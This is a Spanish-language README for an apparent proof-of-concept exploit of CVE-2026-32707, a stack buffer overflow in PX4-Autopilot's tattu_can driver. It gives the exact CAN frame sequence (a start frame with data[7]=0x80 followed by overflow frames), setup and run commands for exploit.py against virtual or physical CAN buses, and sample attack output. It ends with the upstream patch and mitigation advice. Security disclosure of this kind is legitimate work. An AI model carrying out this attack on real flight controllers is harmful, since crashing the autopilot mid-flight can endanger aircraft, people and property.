
Prueba de concepto de exploit para CVE-2026-32707, un desbordamiento de búfer en la pila en el controlador tattu_can de PX4-Autopilot, que provoca denegación de servicio mediante tramas CAN manipuladas.
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
Este repositorio contiene un exploit de prueba de concepto (PoC) para CVE‑2026‑32707, un desbordamiento de búfer basado en la pila en el controlador tattu_can del firmware del controlador de vuelo PX4‑Autopilot (versiones ≤ 1.17.0‑rc1). La vulnerabilidad reside en la rutina de ensamblaje de mensajes de múltiples tramas: al reensamblar una estructura Tattu12SBatteryMessage en la pila, el controlador realiza operaciones memcpy() sin límites sin comprobar el desplazamiento acumulado contra el tamaño del búfer (48 bytes). Un atacante con capacidad de inyectar tramas CAN en el mismo bus puede desencadenar el desbordamiento, provocando una corrupción de la pila y el posterior bloqueo (Denegación de Servicio) del proceso PX4.
sequenceDiagram
participant Attacker as Atacante (Nodo CAN)
participant CANbus as Bus CAN
participant PX4 as PX4 Autopilot (tattu_can)
Attacker->>CANbus: 1. Trama de inicio (DLC=8, data[7]=0x80)
CANbus->>PX4: Inicio de transferencia recibido
PX4->>PX4: Búfer tattu_message (48 bytes)<br/>Desplazamiento de copia = 5 bytes
loop Tramas de desbordamiento (7x)
Attacker->>CANbus: Trama de desbordamiento (DLC=8, carga útil 7 bytes)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: Trama de desbordamiento final (DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → DESBORDAMIENTO DE PILA
PX4-->>PX4: Bloqueo (segfault / fallo grave)
Note over PX4: Denegación de Serviciotattu_can habilitado3f04b7a)python-canCAP_NET_RAW) para enviar tramas CAN sin procesarcan0 o virtual vcan0)# Clonar el repositorio
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# Instalar python-can
pip3 install python-can
# (Opcional) Crear una interfaz CAN virtual para pruebas
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <interfaz_can>
# Explotar mediante interfaz CAN virtual (para simulación/pruebas)
sudo python3 exploit.py vcan0
# Explotar mediante bus CAN físico
sudo python3 exploit.py can0
0x80, lo que indica al controlador que comience a ensamblar un nuevo Tattu12SBatteryMessage y copia los primeros 5 bytes en el búfer de la pila.memcpy() que escribe más allá del límite del búfer, corrompiendo el marco de la pila.[*] Enviando trama de inicio de transferencia en vcan0 (can_id=0x00000123)
[*] Enviando 7 tramas de desbordamiento (cada una copia 7 bytes)...
[*] Enviando trama de desbordamiento final...
[+] Secuencia de ataque completada. El controlador tattu_can de PX4 debería bloquearse ahora.
tattu_can si no es necesario (tattu_can stop o elimínelo de la compilación).3f04b7a):while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
3f04b7aEsta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad. Úsela solo en sistemas que posea o para los que tenga permiso explícito de prueba. El autor no es responsable de ningún uso indebido o daño causado por este código.